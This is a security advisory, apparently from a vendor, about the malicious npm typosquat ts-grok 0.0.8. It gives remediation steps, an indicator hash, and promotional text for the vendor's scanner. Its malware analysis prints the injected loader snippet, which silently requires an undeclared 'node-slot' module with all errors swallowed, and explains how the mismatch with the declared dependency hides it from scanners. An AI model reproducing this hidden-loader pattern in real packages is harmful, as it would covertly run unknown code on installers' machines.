Which versions of ts-grok are malicious?

The following npm versions of ts-grok are flagged malicious: 0.0.8. Treat any of these as compromised.

How do I remediate ts-grok if I installed it?

ts-grok is a typosquat — you almost certainly intended a legitimately-named package. Remove ts-grok, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed ts-grok — how do I know if it already compromised me?

If ts-grok was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is ts-grok part of a known attack campaign?

Yes — ts-grok is associated with the IN-MAL-2026-007267 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find ts-grok across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ts-grok (version 0.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ts-grok across your stack and pipelines.

Malicious package

ts-groknpm

Malicious code in ts-grok (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6321

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall ts-grok

What this malware does

Package ts-grok ships a verbatim copy of big.js v7.0.1 (same banner, author 'Michael Mclaughlin', repository URL https://github.com/MikeMcl/big.js.git, and identical keywords) with a single foreign code block injected into both big.js and big.mjs: try { const doc = require("node-slot"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. The require fires whenever a consumer imports the package, and all errors are swallowed so the call is invisible. The declared runtime dependency in package.json is 'block-slot' (^1.0.9), not 'node-slot' — the actual loaded module name does not match anything declared, so dependency-review tooling and SCA scanners auditing package.json will not see the real second-stage module. Whatever 'node-slot' resolves to in the installer's node_modules is executed silently at import time. The package has no legitimate relationship to big.js; the impersonation is the lure and the hidden loader is the payload.

Malicious versions

1 flagged

0.0.8

Indicators of compromise (SHA-256)

a981e7e3ba27d859a2c536cbc25c04ebece92e1992035226ea9246d8bd381f1d

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for ts-grok (version 0.0.8). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging ts-grok across your stack and pipelines.
If you installed it — respond
ts-grok is a typosquat — you almost certainly intended a legitimately-named package. Remove ts-grok, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If ts-grok was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks ts-grok before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. ts-grok on npm has been identified as a malicious package (version 0.0.8 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007267

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks ts-grok-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring